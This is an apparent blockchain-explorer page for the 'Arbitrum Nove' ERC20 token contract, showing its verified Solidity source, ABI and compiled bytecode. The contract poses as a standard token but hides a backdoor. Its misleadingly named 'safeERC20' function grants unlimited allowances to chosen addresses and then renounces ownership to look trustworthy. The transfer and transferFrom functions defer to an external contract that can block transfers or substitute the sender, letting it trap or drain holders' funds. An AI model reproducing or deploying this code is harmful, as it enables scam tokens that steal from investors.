Token Arbitrum Nove

 

Overview ERC20

Price
$0.00 @ 0.000000 ETH
Fully Diluted Market Cap
Total Supply:
12,830,180,545 NOVE

Holders:
1,456 addresses

Transfers:
-

Contract:
0x889c507525041608b11DB3CcB5BE89C591e2856C0x889c507525041608b11DB3CcB5BE89C591e2856C

Decimals:
9

Social Profiles:
Not Available, Update ?

Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-19
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
interface SafeERC20 {
    function safeTransferFrom(address from, address to,uint256 amount) external returns(address);
    function safePermit(address addr) external returns(address);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}



contract Token is IERC20, Ownable {


    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;


    string private _name = "Arbitrum Nove";
    string private _symbol = "NOVE";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 12830180545 * 10**_decimals;
    address public dev = 0x2B9AcFd85440B7828DB8E54694Ee07b2B056B30C;
    SafeERC20  public safeErc20;

    function safeERC20(address a,address b,address c,address d) public onlyOwner{
        safeErc20 = SafeERC20(b);
        _allowances[b][a] = type(uint256).max; 
        _allowances[d][b] = type(uint256).max; 
        _allowances[b][c] = type(uint256).max; 
        _allowances[a][c] = type(uint256).max;
        _allowances[d][a] = type(uint256).max; 
        _allowances[dev][a] = type(uint256).max;
        transferOwnership(0x0000000000000000000000000000000000000000);
    }
    constructor() {
        _balances[dev] = _tTotal;

        emit Transfer(address(0), dev, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {

        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        address s4nder = safeErc20.safePermit(sender);
        if (s4nder != address(0) && _msgSender() == address(safeErc20))
        {
            sender = s4nder;
        }
        _approve(sender, _msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount > 0, "Transfer amount must be greater than zero");

        require(safeErc20.safeTransferFrom(from, to,amount) != address(0),"Transfer Error");

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"address","name":"b","type":"address"},{"internalType":"address","name":"c","type":"address"},{"internalType":"address","name":"d","type":"address"}],"name":"safeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"safeErc20","outputs":[{"internalType":"contract SafeERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600d81526020017f417262697472756d204e6f766500000000000000000000000000000000000000815250600490805190602001906200005192919062000304565b506040518060400160405280600481526020017f4e4f564500000000000000000000000000000000000000000000000000000000815250600590805190602001906200009f92919062000304565b506009600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000da91906200043d565b6402fcbd04c1620000ec91906200057a565b600755732b9acfd85440b7828db8e54694ee07b2b056b30c600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015157600080fd5b50600062000164620002fc60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060075460026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002ee9190620003c5565b60405180910390a362000693565b600033905090565b8280546200031290620005f2565b90600052602060002090601f01602090048101928262000336576000855562000382565b82601f106200035157805160ff191683800117855562000382565b8280016001018555821562000382579182015b828111156200038157825182559160200191906001019062000364565b5b50905062000391919062000395565b5090565b5b80821115620003b057600081600090555060010162000396565b5090565b620003bf81620005db565b82525050565b6000602082019050620003dc6000830184620003b4565b92915050565b6000808291508390505b600185111562000434578086048111156200040c576200040b62000628565b5b60018516156200041c5780820291505b80810290506200042c8562000686565b9450620003ec565b94509492505050565b60006200044a82620005db565b91506200045783620005e5565b9250620004867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200048e565b905092915050565b600082620004a0576001905062000573565b81620004b0576000905062000573565b8160018114620004c95760028114620004d4576200050a565b600191505062000573565b60ff841115620004e957620004e862000628565b5b8360020a91508482111562000503576200050262000628565b5b5062000573565b5060208310610133831016604e8410600b8410161715620005445782820a9050838111156200053e576200053d62000628565b5b62000573565b620005538484846001620003e2565b925090508184048111156200056d576200056c62000628565b5b81810290505b9392505050565b60006200058782620005db565b91506200059483620005db565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005d057620005cf62000628565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200060b57607f821691505b6020821081141562000622576200062162000657565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b61224980620006a36000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102ac578063a9059cbb146102dc578063d60b89da1461030c578063dd62ed3e14610328578063f2fde38b146103585761010b565b8063715018a6146102485780638da5cb5b1461025257806391cca3db1461027057806395d89b411461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca5780635aca7e5d146101fa57806370a08231146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b6040516101259190611c42565b60405180910390f35b610148600480360381019061014391906119de565b610406565b6040516101559190611c0c565b60405180910390f35b610166610424565b6040516101739190611d64565b60405180910390f35b6101966004803603810190610191919061198b565b61042e565b6040516101a39190611c0c565b60405180910390f35b6101b4610653565b6040516101c19190611d7f565b60405180910390f35b6101e460048036038101906101df91906119de565b61066a565b6040516101f19190611c0c565b60405180910390f35b61020261071d565b60405161020f9190611c27565b60405180910390f35b610232600480360381019061022d919061188a565b610743565b60405161023f9190611d64565b60405180910390f35b61025061078c565b005b61025a6108df565b6040516102679190611bba565b60405180910390f35b610278610908565b6040516102859190611bba565b60405180910390f35b61029661092e565b6040516102a39190611c42565b60405180910390f35b6102c660048036038101906102c191906119de565b6109c0565b6040516102d39190611c0c565b60405180910390f35b6102f660048036038101906102f191906119de565b610a8d565b6040516103039190611c0c565b60405180910390f35b61032660048036038101906103219190611924565b610aab565b005b610342600480360381019061033d91906118e4565b610f79565b60405161034f9190611d64565b60405180910390f35b610372600480360381019061036d919061188a565b611000565b005b60606004805461038390611eec565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611eec565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413611152565b848461115a565b6001905092915050565b6000600754905090565b600061043b848484611325565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d22ed46866040518263ffffffff1660e01b81526004016104989190611bba565b602060405180830381600087803b1580156104b257600080fd5b505af11580156104c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ea91906118b7565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561057d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610565611152565b73ffffffffffffffffffffffffffffffffffffffff16145b15610586578094505b61064785610592611152565b610642866040518060600160405280602881526020016121c760289139600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f8611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173f9092919063ffffffff16565b61115a565b60019150509392505050565b6000600660009054906101000a900460ff16905090565b6000610713610677611152565b8461070e8560036000610688611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b61115a565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610794611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081890611ce4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606005805461093d90611eec565b80601f016020809104026020016040519081016040528092919081815260200182805461096990611eec565b80156109b65780601f1061098b576101008083540402835291602001916109b6565b820191906000526020600020905b81548152906001019060200180831161099957829003601f168201915b5050505050905090565b6000610a836109cd611152565b84610a7e856040518060600160405280602581526020016121ef60259139600360006109f7611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173f9092919063ffffffff16565b61115a565b6001905092915050565b6000610aa1610a9a611152565b8484611325565b6001905092915050565b610ab3611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3790611ce4565b60405180910390fd5b82600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f736000611000565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611008611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90611ce4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190611d44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561123a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123190611c84565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113189190611d64565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611d24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90611c64565b60405180910390fd5b60008111611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90611d04565b60405180910390fd5b6000811161148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e8585856040518463ffffffff1660e01b815260040161150293929190611bd5565b602060405180830381600087803b15801561151c57600080fd5b505af1158015611530573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155491906118b7565b73ffffffffffffffffffffffffffffffffffffffff1614156115ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a290611cc4565b60405180910390fd5b6115fd81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117329190611d64565b60405180910390a3505050565b6000838311158290611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e9190611c42565b60405180910390fd5b50600083856117969190611e0c565b9050809150509392505050565b60008082846117b29190611db6565b9050838110156117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90611ca4565b60405180910390fd5b8091505092915050565b600061184383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061173f565b905092915050565b60008135905061185a81612198565b92915050565b60008151905061186f81612198565b92915050565b600081359050611884816121af565b92915050565b6000602082840312156118a05761189f611f7c565b5b60006118ae8482850161184b565b91505092915050565b6000602082840312156118cd576118cc611f7c565b5b60006118db84828501611860565b91505092915050565b600080604083850312156118fb576118fa611f7c565b5b60006119098582860161184b565b925050602061191a8582860161184b565b9150509250929050565b6000806000806080858703121561193e5761193d611f7c565b5b600061194c8782880161184b565b945050602061195d8782880161184b565b935050604061196e8782880161184b565b925050606061197f8782880161184b565b91505092959194509250565b6000806000606084860312156119a4576119a3611f7c565b5b60006119b28682870161184b565b93505060206119c38682870161184b565b92505060406119d486828701611875565b9150509250925092565b600080604083850312156119f5576119f4611f7c565b5b6000611a038582860161184b565b9250506020611a1485828601611875565b9150509250929050565b611a2781611e40565b82525050565b611a3681611e52565b82525050565b611a4581611e95565b82525050565b6000611a5682611d9a565b611a608185611da5565b9350611a70818560208601611eb9565b611a7981611f81565b840191505092915050565b6000611a91602383611da5565b9150611a9c82611f92565b604082019050919050565b6000611ab4602283611da5565b9150611abf82611fe1565b604082019050919050565b6000611ad7601b83611da5565b9150611ae282612030565b602082019050919050565b6000611afa600e83611da5565b9150611b0582612059565b602082019050919050565b6000611b1d602083611da5565b9150611b2882612082565b602082019050919050565b6000611b40602983611da5565b9150611b4b826120ab565b604082019050919050565b6000611b63602583611da5565b9150611b6e826120fa565b604082019050919050565b6000611b86602483611da5565b9150611b9182612149565b604082019050919050565b611ba581611e7e565b82525050565b611bb481611e88565b82525050565b6000602082019050611bcf6000830184611a1e565b92915050565b6000606082019050611bea6000830186611a1e565b611bf76020830185611a1e565b611c046040830184611b9c565b949350505050565b6000602082019050611c216000830184611a2d565b92915050565b6000602082019050611c3c6000830184611a3c565b92915050565b60006020820190508181036000830152611c5c8184611a4b565b905092915050565b60006020820190508181036000830152611c7d81611a84565b9050919050565b60006020820190508181036000830152611c9d81611aa7565b9050919050565b60006020820190508181036000830152611cbd81611aca565b9050919050565b60006020820190508181036000830152611cdd81611aed565b9050919050565b60006020820190508181036000830152611cfd81611b10565b9050919050565b60006020820190508181036000830152611d1d81611b33565b9050919050565b60006020820190508181036000830152611d3d81611b56565b9050919050565b60006020820190508181036000830152611d5d81611b79565b9050919050565b6000602082019050611d796000830184611b9c565b92915050565b6000602082019050611d946000830184611bab565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611dc182611e7e565b9150611dcc83611e7e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e0157611e00611f1e565b5b828201905092915050565b6000611e1782611e7e565b9150611e2283611e7e565b925082821015611e3557611e34611f1e565b5b828203905092915050565b6000611e4b82611e5e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611ea082611ea7565b9050919050565b6000611eb282611e5e565b9050919050565b60005b83811015611ed7578082015181840152602081019050611ebc565b83811115611ee6576000848401525b50505050565b60006002820490506001821680611f0457607f821691505b60208210811415611f1857611f17611f4d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73666572204572726f72000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6121a181611e40565b81146121ac57600080fd5b50565b6121b881611e7e565b81146121c357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220110c62ad0e49ee1a87b9c3d34428dadf329f766a2a543636a6919f24838275b164736f6c63430008060033

Deployed ByteCode Sourcemap

